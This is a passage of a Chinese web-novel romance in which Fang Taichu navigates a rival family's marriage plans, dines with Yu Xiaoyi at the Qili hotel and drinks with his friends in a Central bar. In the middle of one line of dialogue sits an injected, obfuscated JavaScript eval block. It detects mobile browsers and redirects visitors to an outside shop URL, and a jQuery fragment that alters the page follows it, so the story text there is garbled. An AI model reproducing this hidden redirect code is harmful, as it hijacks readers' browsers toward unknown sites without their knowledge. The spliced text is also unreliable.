“总算还有点聪明。”铭仔似笑非笑地斜了斜嘴角,“杨家和余家早二十年就有意联姻的,结果你也知道,余蓁蓁为了抗婚,不惜自毁名声交往同性密友。这才轮到二十年后的Marissa和Theo。你当杨家昨晚这么大场面是为了什么,还不就是想借机向外传递两家即将有好事发生的信号,结果呢?晚宴Theo根本就没出现,派对一半还借机跑了出来,都快到尾声又把你带去给Marissa那么大一个难堪,你觉得这事该怎么收场?” 小初有些发怔,她哪知道昨晚的事在她的视角之外还暗藏这么多玄机啊。 “Marissa现在怎么样?” “昨晚回去就病了,据说今天还躺在床上。一大早Theo就被他爷爷骂了一通,说他肆意妄为,不知所谓。” 小初笑笑,“其实昨晚他只要不把我带去也都还好的吧?” 虽说没身处那个圈子,但她大概也能明白,家族联姻其实就是一种资源整合,这东西当事人有无感情倒是其次,但至少在面上要堵得住悠悠众口,余萧弋私下跟她谈谈也就算了,非这么明目张胆,难怪把杨小姐都气病了。 铭仔用手指整理了下他被风吹乱的头发,“Theo那么爱你,竟然还被你当街大骂,你还有良心吗?” “这么说,他和她已经有婚约了是吗?” “那倒还没有,不过昨天的事过后就难说了。总之,你做好心理准备被人逼着分手吧。” “你又为什么告诉我这些?” 铭仔眨了眨眼,“一个是我真看不下去Theo被你这么对待,还有一个就是我跟朋友打了赌,说你这种直性子肯定一听见这个就要爆燃,反而会加速把Theo推回到Marissa身边去,这样Marissa还能承我个情,岂不是两全其美。” “……”他们对她到底是有多深的误解?小初累了,她摆摆手,“再见,我上课时间要到了,今天谢谢你到馆里帮忙。” 说完她就转了身。 铭仔没有再追上来,而是找个了空旷的地带迎着海风点燃了一支烟。 尽管心很乱,小初回到学校,还是认真上完了一整节课,甚至比她想象的还要思路清晰,教授期间提问了五六个问题,其中一半都是她答的。 她爸早就教过她,外面的世界越乱,心就要越定,以不变才能应万变。 她从来就不是被当成不谙世事的小公主养大的,别人家对女儿的期待或许只要她会享受生活,长大了找到个如意郎君衣食无忧过一生就可以了。 可方协文对她的期许却是,要有能力掌权,要勇于承担责任,等将来他老了,她还能带着亦方的几万员工继续好好走下去。 将命运紧紧抓在自己手里,永远要比在别人掌心里乞怜要幸福得多。 她笑,难怪余萧弋总说她冷淡,没被教过装病来博取男人的同情难道也是她的错吗? 她偏要做冰山又怎么样?这世上自有人心甘情愿做大海来包容她,爱她的人不需要理由便会爱她,不爱她的人,难道她融化得一点棱角没有就能赢得人家的心吗? 很好,现在她倒要看看余家和杨家会做点什么来逼她放手,若她不肯,他们又准备拿她如何? 要是连自己喜欢的人都不能想要就要,不想要就不要,那亦方以后干脆连香港市场也放弃算了。 下课后没多久,余萧弋就以助教的身份将今天的作业发在了群里。 小初勾了勾唇,下一秒就发了私信过去,眸底散漫的野心再也藏不住,「上次在绮丽吃的法餐还不错,要不要一块去吃?」 绮丽姓余没错吧?余蓁蓁今晚会不会在? 正在图书馆自习的余萧弋看了这行字反而有些愣住,他看了看窗外,太阳明明已西沉,今天早晨也是从反方向的海面上升起来的,她怎么了,竟然开始主动约他了? 「好啊。」他措了下辞,「要不要带上阿姨一块?」 「不了吧?我们两个人的约会为什么要带上她?我想你了。」 余萧弋感觉一阵热流骤然从心脏向四肢百骸流窜而去,并瞬间点燃了他的呼吸。 恍然过后,他立刻合上了书,回她:「你在哪,我去接你。」 「在回宿舍的路上,我换件衣服,你在楼下等我,可以吗?」 「好,那一会见。」 余萧弋这辈子就没跑这么快过,跑到地铁站时,他特地将自己淹没在奔涌的人潮中好一会儿,任周围的混乱和喧嚣穿过自己。 刷卡,进地铁,出站,路过他们初吻的街心公园,上坡,在她宿舍楼下停住。 明明和每次来见她的程序差不多,可不知为什么,他的心跳节奏始终平复不下来,指尖一直在颤抖。 她只是简单约他吃顿饭而已,可又好像哪里不太一样,具体哪里不一样,他又说不出。 直至他心心念念的那道身影出现在面前,他的世界似乎才安静下来。 她穿了条黑色无袖连衣长裙,头发用发夹别在耳后,耳朵上正是他前两天送她的月亮耳饰,钻石在夜色中散发着璀璨的冷光,可即便如此,也难掩她一身清冷中恰到好处的那一点艳。 “嗨。” 她弯眸看向他,一双黑白分明的瞳仁似是能看透人所有心事。 余萧弋稍稍别开视线,生怕自己眼底正在氤氲而出的那丝不太能见人的念头冒犯到她。 “嗨。”他不自然地笑笑,“今天什么日子?” “星期五啊,明天周末,你不知道?”小初狡黠看向他。 “不是。”余萧弋吞咽了下口水,“我的意思是,你今晚好美。” 小初指了指天空,“今晚月色也美。” 余萧弋的掌心全是汗,他感觉自己已经快胡言乱语了,“是,马上中秋了。” 小初偏了偏头,逗他,“你不是说今晚月色好美就是我爱你的另外一种表达吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16351531|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “方太初,你到底怎么了?”余萧弋欺身向前一步。 小初却不经意向后退了退,微微侧身,“没什么啊,就感谢你今天派了个人过去给我帮忙啊,你还别说,铭仔倒也不算一无是处。” 余萧弋这才注意到,她的裙子后背竟然是个大大的U型,以至于他只要稍稍垂眸,就能看见她半个光洁的后背,以及若隐若现的内衣的轮廓和肩带。 他感觉自己已经不能呼吸了。 小初却一副对什么都无所知的模样,问他:“走吗?” “嗯,走。” “打车?” “不是,司机来接,他已经到了。” 两人拾阶而下。远远的,小初就看见了一辆动线很漂亮的黑色豪车悄无声息地停在路边。 她嘴边勾起一抹意味不明的笑来。 余萧弋帮她打开车门,待她坐好后,他才从另一侧坐到她身边来。 司机是一个四五十岁年纪的大叔,哪怕小初先上的车,他也没有半分眼神落到她身上,全程毕恭毕敬,非礼勿视,直至余萧弋说“去绮丽”,才轻轻启动发动机。 小初心里叹服。 去绮丽的路程不算长,但因为晚高峰堵车走走停停了很久。 余萧弋全程都规规矩矩坐在他自己的位置上,目光若有似无看向窗外,只有问她“空调凉不凉”,“会不会晕车”时才稍稍偏向她一下,却也没有和她进行任何眼神交流。 可在他靠过来的那一刹那,她还是敏锐地捕捉到了他凌乱的气息。 她在心里轻笑了声——好啊,装正人君子是吧,那就记得一定要装到底哦。 车子停在绮丽。 小初没猜错,余蓁蓁果然已经在门口等着他们了。 看来铭仔确实没骗她,杨敏中“生病”的事是真的,余萧弋被爷爷大骂的事也是真的,两家今天肯定都有不同程度的震荡,否则余蓁蓁才不会赏脸来看她这一眼,就是侄子“随便玩玩”的小女朋友而已,她要每个都来看,就什么事都不要做了。 小初笃定他们不可能查到她是谁,她爸妈向来注意保护她的隐私,她的信息从来没有在互联网上出现过。 余蓁蓁的目光在小初身上淡淡停驻了几秒,又不经意滑过她耳垂上的月亮耳饰,才转向余萧弋,“爷爷叫你回家吃饭你不回,偏往我这跑,你这是非拖我下水?” 小初假装不明所以地看向他。 余萧弋牵着小初的手向前一步,“我想姑姑了嘛。给你们介绍一下,这是我女朋友方太初。”又和小初眨了眨眼,“这个是小姑姑,你看我们俩长得像不像?” 他这是装完君子又跑这装乖来了,是吧? 小初心里送了他一个白眼,大大方方用普通话问了好,“余小姐晚上好。” 余蓁蓁的气质容貌和网上的照片视频别无二致,只是不知是不是小初的错觉,她总觉得眼前作为活人的她比记者笔下接受采访的那个她更有温度一些,也更不羁一些,尤其看她和余萧弋的那个眼神,似乎还带着点……幸灾乐祸? 她不由自主想起冰室墙上照片里十几年前那个天真张扬的大小姐。 “不太像。”小初如实答道。 余蓁蓁饶有兴致看她一眼。 “余小姐更帅更高智一点,尤其戴眼镜的样子。” 余萧弋笑,“是不是啊。” 小初无比诚恳地点了点头,然后才说,“余小姐毕竟博士毕业,你努力,或许三五年之后就像了。” 余蓁蓁没想到小初见到她不仅不害怕,反而这么落落大方,心里忍不住生出喜欢来,拉过她的手,“走吧,给你们两个留了位子了。” 三人一齐往里面走。 余蓁蓁的秘书,助理和司机自动跟在了后面。 一路上好多人都在向他们看。 余蓁蓁问小初,“我听Theo说,你家里是北京的?” 小初说,是。 助理按下电梯。 余蓁蓁又问:“家里大人都是做什么的?” 余萧弋抗议,“姑姑,这是人家隐私好吗?” 小初笑笑:“没关系的。我姥姥姥爷之前都是清华的教授,不过早已经退休了,舅舅从清华建筑系毕业几年后自己开了家公司,舅妈现任某艺术品策划公司高管,至于我爸妈,他们是复旦毕业后就留在各自领域发展了,爸爸从事互联网,妈妈目前在一家美术馆工作。” 一行人走进电梯。 余蓁蓁点点头,“那你们这也算书香门第了,可把我们我们家Theo比下去了。” 小初谦虚垂眸,“没有没有,大概全家除了念书也不会别的。” “那你毕业后什么打算,有准备来港工作吗?” 余萧弋眼见话题越聊越严肃,赶紧制止:“姑姑你留步吧,我们俩自己去吃饭就可以了。” 电梯门打开,食物的香气扑鼻而来。 小初率真看了余蓁蓁一眼,“现在大陆机会也很多,港资身影遍布各行各业尤其一些技术型新兴产业,你们不考虑支持Theo毕业后去大陆发展吗?” 电梯里所有人,除了余萧弋,神色均一愣。 小初在心里冷笑一声。 这游戏,她还没尽兴。 怎么玩,规则得她定。 铭仔说的什么来着?冷热交替是吧? 余蓁蓁的司机伸手挡住即将关合的电梯。 余萧弋牵过小初的手,与她十指相扣,唇边都是笑意,挑眉看了他小姑姑一眼:“余小姐?这顿你请,对吧?” 36.第 36 章 一整个晚上,方太初都有些心不在焉。 确切地说,她的注意力根本就没在坐她对面和她吃饭的那个人身上,所有菜式都不太合胃口,她不喝酒,只喝了点柠檬气泡水。 周五的夜晚,浪漫的餐厅,秀色可餐的男人,一切看起来都很完美,可一切又不足以消解她内心世界的嘈杂。 她一直在等,等余蓁蓁,或是随便余家的谁,过来找她谈,让她离开他,客气或者不客气,她都能照单全收,哪怕是杨敏中本人也行,可惜,都没有。 然后她又忍不住自嘲,若是杨敏中真来了她又能怎样? 一个男人而已。 别说她,她相信杨敏中也不会屑于这种无聊又失格的戏码,毕竟是豪门的大小姐,若她真想要,又有什么男人得不到?就算同时要十个,也会有人自我催眠假装另外九个不存在贴上去,余萧弋是不错,但也不是什么不可替代品。 于她是,于杨敏中肯定也同样。 说不定,连生病的消息都是她家里人替她捏造的,为的只是余家一个态度。不是杨小姐非要一个心里没她的男人,而是余家和杨家太想互换资源和捆绑利益。 所以,就算人家真来找她谈,她又能说什么呢?谈她和他也并没有很深刻的感情惹人发笑呢,还是自报家门力证自己有不输于杨敏中和他交往的资格呢? 那就不只是惹人发笑了,而是有辱门楣了。 他们家余少也只是条摆在会员制卖场里任人挑拣的鱼而已,他还不配她为他专门办张会员卡。 况且人家不来,不就已经用无视把话说得很清楚了吗?相比之下她却在乎得似乎已经沉不住气了,这不是头脑发昏是什么? 还是那句话,千错万错,都是余萧弋的错,在搞不清楚自己的身份立场家族责任之前,就不该招惹别人。 小初越想越意兴阑珊,加上饭又难吃,很快耐心耗尽。 于是问他:“我们几时走?” 余萧弋在对面看了她一整晚了,也没看明白她约他出来吃饭却全程握着一杯气泡水发呆,而且情绪肉眼可见越来越坏是什么意思,最初的羞涩兴奋褪去,只剩不解和担忧。 “可以马上走,但是……”他直视她的眼睛,“你得先告诉我你怎么了。你答应我的,有事要先沟通解决,不能一个人闷在心里,你不说,我真的猜不到的,好吗?” 小初别过脸,看了看窗外星河流动的维港夜景,心想,你还有脸问,你这条破事一堆还自私的臭鱼,要不是你,我能陷入这样被动的局面吗? 非要你,就是丢份又丢人,拱手将你让人,我又舍不得,不甘心。 “没怎么,就是我明天还要去展馆里陪妈妈做事,得早点回去休息。”小初打开钱包从里面拿出一叠港币来大概数了数放在桌面上,“虽然余小姐说她请客,但我向来不随便吃别人家的饭,刚看菜单时候大概算了下金额,我A一半好了。” 她的态度让余萧弋没来由地慌了一下,他按住她的手,如临大敌,“不对,你每次一付钱准是又不开心了,告诉我,到底谁惹你了?” 小初淡淡抽回手,笑笑,“没谁。”说完就利落起了身,“走吧。” 其实解开此局也简单,只要她比别人更云淡风轻就好了。 反正大家还年轻,今朝有酒今朝醉,开心一时是一时,想得太多反而没意义。至少今天,他们还都是自由之身。 “方太初。”余萧弋跟着站起身,咬唇把那叠钱塞回到她的包里,饶是再好的脾气也有点被她惹急,“拿好,你爸妈赚钱也不容易吧?如果谈个恋爱还要你付各种账单,那这恋爱……” 口不择言的话说了一半就被他紧急咽了回去,他都不知道自己怎么每次被她一气就犯这种低级错误。 小初本来都不打算计较了,听他这么一说反而心头一刺,“怎么不说下去?” “我不想在这吵。”自觉失言的他声音很低。 小初指了指电梯,勾唇,“好啊,那出去吵。” 余萧弋呼吸一滞,她还真是个解题高手。 还没走到电梯,就迎面碰上了余蓁蓁的秘书,对方的态度很客气,“方小姐,你吃好了?” 小初弯起眼睛,将所有情绪都暂时藏了起来:“嗯,菜很好吃,麻烦替我转告余小姐,说谢谢她的款待。” 余萧弋在背后做了个无奈到想捏她耳朵的动作。 小初没看见,秘书却看见了,他嘴角微妙的笑意立刻引起了小初的怀疑,她倏地回过头去,却也只来得及看见余萧弋双手插袋一副若无其事的可恶模样。 秘书递过几个礼盒过来,说道:“这是我们酒店自制的月饼还有跟别家联名的茶叶,马上就中秋节了,余总特地交代让方小姐带回去品尝的。” 小初愣了愣,正想着怎么谢绝比较好一点,那边余萧弋已经帮她接了过来,“那就谢谢姑姑了,我们先走了。” “这怎么好意思……”小初有些无语,谁要他帮她做决定了? “又不是什么贵重的东西,有什么不好意思的,你要是不爱吃就拿去分给你室友,绮丽的月饼做得还可以,也没有很甜。”余萧弋一只手拎着几只礼盒,一只手还没忘记来牵她。 到底有外人在,小初没挣扎。 秘书又说:“余总交代我把车钥匙给你,让你把方小姐安全送回家。” 余萧弋挑了挑眉,“你跟她说,我们不回家,我们开去山顶兜风,如果有罚单,让她记得及时处理。” 一进电梯,小初就甩掉了他的手,“谁要跟你去兜风。” 余萧弋露出一个了然的表情,“那就是想跟我回家?” “架还没吵完。”小初冷笑,“你有闲情?” “那就先吵完。” 两人来到车上,余萧弋把东西放在副驾驶,也陪她坐在了车子后排,“说吧,你想怎么吵?” 小初眯了眯眸子,“什么叫我想怎么吵?” “你约我出来,说想我了,说今晚月色好美……”余萧弋忍不住扣住她的肩膀让她看着自己,“就是要我眼睁睁看着你脸色一寸一寸黑下去,再跟我不欢而散的?你知唔知我也是有心的,你到底要掌控我的情绪到什么程度才满意?” 小初愕然,“你觉得我们之间的问题在我?” “你先告诉我,我们之间的问题是什么。” “余萧弋,坦诚点好吗?”小初很累了,车子里的空间有点闷,她突然意识到铭仔说得一点没错,她果然开始爆燃了,下一步就要把他推到Marissa怀里去了。 她想不通,明明她面对别人,还是可以伪装片刻的,怎么一面对他,就只能打明牌局,她的情绪也被他掌控到极致了,他怎么看不出? 余萧弋眯了眯眸子,眼神里的侵略性逐渐蓄满,他要疯了,他已经恨不能把心剖开来给她看了,她还要他怎样坦诚? “坦诚什么?” “算了。”小初轻笑一声,“送我回去吧。” “谁要跟你算了。”他的目光逐渐聚焦到她的唇上,两人的距离已近无可近,可他怎么也没想到,她锁骨之下的漂亮线条会以这个角度越过松垮的领口撞进他的眼角余光,事情发生得太猝不及防,他立刻克制地闭上了眼睛。 原本以为不看她就会好一点,可狭小空间内一个失控的呼吸声都会被放大无数倍,她身上的香气更是萦绕在鼻端挥之不去,他不知该拿她怎么办,也不知该拿自己怎么办,只剩一颗心还在无序而剧烈地跳动着,睫毛渐渐被什么东西沾湿。 小初呆住。 本来她是最讨厌情侣间一遇到问题就靠肢体接触来回避的,这会儿她被他半压在身下动弹不得,心里正思考怎么推开他呢,谁想到他竟自行停了下来,还……闭上了眼睛? 他什么意思? 索吻? 强行反转剧情? 车内光线有点暗,她没有看清他脸上的泪痕,直至她感觉到什么东西顺着她侧颈慢慢滑下去…… “余萧弋,你是不是流鼻血了?” 小初慌张极了,用力伸手越过他打开车顶的阅读灯,视线聚焦的那一秒,他湿漉漉的脸已经背光以阴影的方式将她全部遮住,她不自觉用指腹抚了抚他的眼睑,声音不自觉温软下来,“你吓死我了,还以为你流鼻血了。” 他不说话,只深深看着她,依旧执着那个问题,“到底怎么了?” 小初有些无奈,“都说了没事。” “你是不是又要说分手?” “没有。”小初帮他把眼泪擦掉,声音越来越低,“我在你眼里就是这种出尔反尔的人?不是都答应你了吗。” “那是为什么突然不高兴,是谁跟你说什么了吗?” 小初心惊于他的细致敏感,但又不知道怎么转圜,只能顺口胡诌,“没有人说什么,就昨天你唱那首《未知》的时候,感觉大家看你和杨小姐的神情都挺耐人寻味的,你和她……”她故意停住,“是不是曾经有过一段情?” 余萧弋听着,眼底逐渐浮现出荒诞之色,“我跟她有什么一段情!我们连同学都唔做过!平常也只有在社交场合才会碰到面,本来也不算很相熟。” 小初盯住他的眼睛,“那为什么大家那么看你们?” 余萧弋不答,本来红红的眼底逐渐染过一丝不确定的惊喜,“你是不是在吃醋?” “我哪有!”小初极力否认,“你少自恋一点吧Theo余。” “原来是这样 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余萧弋果然愣了愣,似是不敢相信自己听到了什么,“那……去我家吗?” “不不。”小初浑身都有些发烫,“我不是那个意思。”又用力推了他一下,“你能不能,先起来?” “哦,好。”余萧弋如梦初醒,掌心托着她的后脑将她扶了起来,并顺手将她下滑的肩带扶正。 他稍稍别过身去,看向窗外,平息了一会儿。 小初胡乱整理着头发,用力回想了一下事情是怎么变成这样的。 “我和杨敏中没有任何关系,你放心。” 余萧弋突然开口,声音还有些低哑,他轻咳一声,似乎好了一些,继续说道,“我们两家是世交没错,但我很小就已经和爸妈从老宅里搬出来了,平时只有家庭日和年节才会回去吃顿饭。你知道的,我妈哈尔滨人,个性比较强悍,不怎么喜欢生活被人摆布。都说上嫁要吞一万根针,但幸好,余家的废物比较多,除了小姑余蓁蓁,爷爷奶奶很多东西不得不仰仗她。所以,你别害怕,无论外界怎么传,在我身上都不会有联姻那种荒谬的事发生,因为我们家是我妈妈一票否决制,她对很多东西,深恶痛绝。” 小初小声说,“干嘛跟我解释,我又没说什么。” 余萧弋眸间仍残留着温柔,没拆穿她,只是轻轻问了句,“还难受吗?” 小初摇摇头。 想了想,又问他,“那你呢?” “什么?” “要是没有你妈妈的一票否决,你会反抗吗?” 余萧弋抚了抚她的头发,“你不是就是不相信我才胡思乱想的吗?” “我没有不相信你!”和聪明人交往怎么处处都是陷阱!小初解释,“我还觉得你委屈呢。” “我委屈什么?” “为了我,要承受很多压力。”小初揶揄。 他掀眸看她,“怎样,你心疼了?” “……我是不是说了要你少一点自恋?” 说完两人都笑起来。 “那现在,我们……是去山顶兜风,还是,去我家坐坐?”余萧弋生怕破坏了这个气氛,语气很斟酌。 说完又加了句,“我不做别的,我发誓。我只是很想你进入我的生活,我会烤饼干,你想吃吗?还有,记得之前我跟你说的我养的那条小狗吗,你想不想见见它?它超级超级想见你的。” 小初越听越离谱,瞪他一眼,“它怎么会知道我?” “我介绍的呗,它在家里,听你的名字耳朵都快听出茧子来了。” 小初的理智已经软弱成一条河,她很怕他再说两句,她就要在意乱情迷中答应了。 饼干和小狗都不重要,他,比较重要。 她对他的生活也有点好奇。 正犹豫间,铭仔的电话却刚好在这会进来了,问余萧弋要不要去某个酒吧一块喝两杯,余萧弋刚要拒绝,小初就在旁边代他答应了下来,“好,我们一会儿就到。” “Theo余!”铭仔忍无可忍,“下次有女朋友在身边可不可以不要开扬声?” 余萧弋咬牙,“你收声吧,废话真多,下次再有喝酒这种事可不可以不要找我?尤其周末晚上?” 电话一秒被他挂断。 小初笑到手抖。 余萧弋没好气双手捏了捏她的脸,“你再笑,我就要把你吃掉了哦。” 小初立刻凝住笑容。 余萧弋被她可爱到,有些无奈,“下次记得该听话的时候,也这么听话,好吗,宝贝?” “??” 37.第 37 章 铭仔发来的酒吧就在中环,因为距离不太远,两人决定步行前往。 香港十月的夜晚还没有什么秋的味道,只是比夏天时候清爽了一些,这几天没下雨,天气很舒服。 余萧弋一只手牵着小初,另一只手插在口袋里,眼睛看似在看街景和路况,实际余光里都是她。 她今天穿了双不太高的高跟鞋,两人的身高差刚好半个头。 “方太初,你爸妈是不是很高?” “啊?”小初的思绪正在放空,忽然被他这么一问还反应了一下,“挺高的,应该跟咱们俩差不多。” “我听铭仔说,你妈妈美得像女神。” 小初无可无不可地哼了一声,“要他说。” 余萧弋瞥她一眼,“铭仔底色其实不坏,就是有时候口无遮拦了一点,也难怪你对他有意见,但我倒是觉得这样的人反而可以做朋友,现在这个社会,虚伪的人要比坦诚的人多太多。” 小初说:“是他先对我有意见的。我无所谓别人是虚伪还是坦诚,但我最讨厌看人下菜碟式的坦诚,你问问铭仔,敢不敢到杨敏中面前口无遮拦。” 余萧弋笑:“他还真未必不敢,但是……”他紧了紧抓着她的手,“你能不能不要再提那个杨敏中?” 小初挑眉,“怎样,杨小姐提不得吗?” 余萧弋投降,过了好一会儿,才不经意说了句,“铭仔从小没有妈妈,所以可能是有点性格问题。” 小初眉心一动。 两人没有就这个话题继续聊下去。 中环各种风格的酒吧一家接着一家,好多排名靠前的都要提前预约,不然根本没有位置,要么就要排队慢慢等,等中途转场的人离开再进去。不过小初猜着余萧弋这群公子哥应该没有这个困扰,不然画风可就诙谐了。 因为是周五,满街都是寻欢作乐的人,有的酒吧是半开放式的设计,不少没排到位置的人干脆就那么站在露天的街边手持酒杯一边聊天一边听音乐,看着倒也轻松惬意。 余萧弋带着小初绕过几个街角,终于在一家复古欧式风格的小酒馆前面停了下来。早有人在门口等,带着他们从VIP通道上了楼。 酒吧今天应该是有Live Jazz表演,一上楼,小初就被这种随性浪漫的氛围感吸引,手指在楼梯扶手上不自觉轻轻律动着,连步调都精准踩着音乐节拍。 余萧弋问:“之前来过这种地方吗?” 小初点点头:“来过啊。” 他揽过她的肩膀,掌心贴着她手臂的肌肤,揉了揉,“和谁?你又不喝酒。” “也可以喝的。”小初想起了林佳宜姐姐祭日那天她们一块喝的酒,入口时明明又辣又呛,可没一会儿整个人就像被丢进温泉里一样,四肢百骸都很温暖,很舒服。 她之前看文献说长期饮酒会让人的大脑加载和运行速度越来越慢,所以,她不喝酒,不是她讨厌酒精,纯粹是怕误事。 他的掌心传来的包裹感很熟悉,在车上被他压在身下的记忆碎片猝不及防飞了出来,又纷纷扬扬落下,空气忽地变得密不透风。 “不过,之前是和我爸妈一块去的,在国外。我在北京上学的时候课业比较紧,身边的同学也比较务实,确实没机会来这种地方消遣。” 小初斜睨他一眼,“不像余少你,天时地利人和,只要你想,随时都可以出来放纵一番,酒精上头的感觉怎么样?单单吹吹冷空调,能冷却下来吗?” 余萧弋没想到她话锋一转到他这来了,立刻澄清:“我真不常来,来也是和铭仔他们一群人一起,都是很熟悉的朋友,而且我喝得不多,下楼吹个风酒气就散了。” 带队的在三步之外停下,微微颔首用粤语说道:“余先生,林先生他们在已经那边等了,还是靠窗的那个位置。”又说,“下次你再来随时给我们打电话就好,祝你度过一个愉快的夜晚。” 拆台来得太快,小初笑出声来。 余萧弋搂着她绕过热闹的吧台和一桌桌俊男靓女朝窗边走去,一边走一边笑:“他们家服务人员话太多,下次再不来了。” 室内光线很昏暗,小初看见天花板悬挂的玻璃吊顶都是酒杯形状,乐队的即兴演奏水准很好,一曲完毕,大家都轻轻鼓掌。 远远地,铭仔就和他们大大挥了挥手,一群人似乎已经喝了有一会儿了,桌子上都是高低错落的酒杯,窗户不知被谁打开,海风吹进来,说不出的舒服。 小初和这群男女早不是第一次见面了,只是也不知道她和他们是八字相冲还是怎样,每次相处都不算太愉快。 今晚还好一点,或许是他们喝多了看谁都有点可爱,也或许是余萧弋提前交代过,总之,小初不能否认她确实感受到了一点他们的热情。她叹口气,也礼尚往来送了个灿烂的笑容过去,人家都能为了朋友向演技派靠拢,她当然也不能让他为难。 这次再搞砸,恐怕是真的很难转圜了。 铭仔一见到她就瞪大了眼睛,咋咋呼呼用塑料普通话说道:“方太初,你稍稍打扮一下总算有点像你妈妈了!” 众人立刻投了个不可思议的眼神过去,“你还见过她妈妈?” 铭仔得意非凡,“对啊,跟你们说她妈妈才是真的漂亮,女神懂吗,就是只要站在那就让人没办法移开眼那种。人家都说美女大部分都没办法把美貌遗传下去的,这话看来是真的,因为她们找老公的眼光普遍都不太好,方太初,你爸是不是也很难看?” 大家神色古怪看了小初一眼,爱马仕姐被一口酒呛到,剧烈咳嗽起来。 余萧弋有些无语:“林铭锵,你是不是喝多了。” 铭仔说:“余萧弋,你是不是嫉妒我比你先认识你准岳母?” 余萧弋贴近小初,“你别跟他一般见识。” 小初点点头,决定原谅一个没被人教过好好说话的孩子。 爱马仕姐叫池咏珊,姐姐在澳洲生子的女孩叫陈嘉言,除了她们俩,其余都是男生。 小初在余萧弋和陈嘉言之间坐了。 “你喝什么?”余萧弋递过酒单。 小初看了看,实在没什么头绪,“你看着点吧,不过我真不能喝多,不然明天准会被我妈妈看出来。” “那就点个花果香的女士酒?”余萧弋的手指落在酒单的某一行上。 陈嘉言接过话去:“别点那个,腻死了。”然后她手指轻点落在另外一行上,跟小初说,“你喝这个,是烟熏感的果木味道,度数不会太高,但风味很特别。” 小初有些意外,继而笑着点点头,“行,那就这个。” 余萧弋喊过服务生。 陈嘉言贴近小初,很有些幸灾乐祸:“你不知道昨晚你和Theo离开后Marissa的脸色有多难看,她仗着她们杨家的家世,向来不把圈子里任何人放在眼里,这次却吃这么大一个瘪,难怪回去就生病了。” 小初公正地说:“杨小姐看着倒不像飞扬跋扈的人。” 陈嘉言轻笑:“识人识面不识心,她妈妈就被坊间称作杨家的一把刀,你觉得女儿会是等闲之辈?只是人家不像我们这么直来直去罢了。再说,她对Theo的觊觎也不是一天两天的事了。” 小初看了陈嘉言一眼,也不知道她说的这个“我们”包不包括她,怎么才过一晚,她就和她们成了一个阵营了。 敌人的敌人就是朋友? 余萧弋警告陈嘉言:“你别一天到晚胡说。”又紧张看向小初:“真没有,她只在香港读了个高一就出国了,那时候我都读高三了,两人根本没什么交集。” 陈嘉言撇撇嘴,“你敢说你不知道她暗恋你?” 铭仔也附和,“就是,那时候她还托我给你递过情书呢吧?情书你也没看?” 余萧弋咬牙,“你们是真不顾我死活,也不怕她今晚回去就弄死我?给我写情书的多了,我是不是要每个都记得?没交集就是没交集,不喜欢就是不喜欢,你们也不要背后议论人家女孩子,年少时候喜欢过一个人也不算什么案底吧?铭仔你那点破事要是拿出来说,三天三夜都说不完,陈嘉言你也不遑多让,你看你的那个没作品只能到处赶通告的前男友,糊成那样还要搞什么地下恋情,我当时是不是提醒你了,结果他果然背着你还跟好几个人搞暧昧吧?” 陈嘉言被人戳破也不生气,反而坏笑着看向小初:“你打算怎么弄死他?” 铭仔说:“我们可以提供道具。” “……” 池咏珊淡淡看了眼余萧弋,“你手腕上那根绳什么时候买的,虽然便宜了点,但和你的手表戴一块也勉强相配,怎样,是谁要把你绑住?” 陈嘉言听了立刻会意:“那这个很难绑住吧?得换个更厉害点才行。” 大家都大笑起来。 余萧弋有些无奈:“我就不该带她出来给你们认识。” 小初瞥他一眼,很想问问,他这都一堆什么破朋友,怎么凑一块还没三分钟就开始满嘴浑话了。 服务生把酒送了过来。 余萧弋借机贴近她,眼底都是惊惶,“你别听他们乱说啊。他们就是一群嘴强王者,实际真被虐了都只会哭的类型。” 陈嘉言也凑过来:“你别误会Theo啊,就是因为他是我们这群人里最纯情的,我们才都喜欢开他玩笑,我可以帮他证明,他是真的没谈过恋爱。” 他,纯情? 小初仔细想了想两人相识以来的点点滴滴,目光犹疑地看了看眼前这帮人,他们也不能为了替他立人设,就不怕天打雷劈了吧? 她就没有见过比他还会的人了,好吗? 池咏珊说:“你要严谨一点,我们只是从没见过他身边有异性出现过。” 陈嘉言点头:“有段时间铭仔住他们家,我们还以为他们俩是一对呢。” 铭仔听了立刻跳了起来:“喂,你不要乱讲哦!我告你毁谤的啊!” 他们你一句我一句,小初根本插不上嘴,干脆低头大大喝了一口酒,然后就被陈嘉言所谓的烟熏果木风味惊艳到了,这东西好像加了什么令人上瘾的东西,刚入口有点怪,越喝越欲罢不能。 没一会儿,杯子就见了底。 余萧弋叫她慢点喝。 乐队到了乐手即兴Solo环节,从他们这个角度看过去,刚好可以越过栏杆看到位于一楼的舞台,几个乐队成员都是白人面孔,唯有这个吉他手是个留长发的亚裔男,看着确实有几分不羁的潇洒,好多人跟着互动欢呼,气氛热烈。 小初的情绪被调动起来,让陈嘉言再推荐两款酒过来,她今晚干脆都尝尝好了。 陈嘉言有些得意:“他们家的调酒师就是有些东西在的,不然你以为我们为什么总来。”说着就招手叫来了服务生,又帮小初要了两款她觉得还不错的酒,“尤其这款。”她的指尖落在酒单上,“里面会有小熊软糖的哦。” 余萧弋有些无奈,问小初:“你不怕明天误事了啊?” “没关系,我明天晚点去好了,反正其实我也帮不上什么忙。”小初单手撑住下巴,盈盈如水般看向他。 整个世界都开始光怪陆离。 余萧弋被她难得的温柔裹住了呼吸,一时竟不忍阻止,但还是给她设了限度,“喝完这两杯无论如何都不能再喝了,知道吗?” 三杯低度鸡尾酒,应该还不是什么大问题,她顶多会有点微醺。 “好,我听话。” 这句话,就像是沾了水的小猫爪子,骤然在他心口抓了一下。 他一阵心悸,不敢再看她,低头喝了大半杯酒。 小初很快感受到了漂浮的快乐,跟林佳宜给她喝的那瓶不一样,这里的酒度数低,口感特别,不会一下子将她击倒,而是抽丝一般,让她一点点地放松下来。 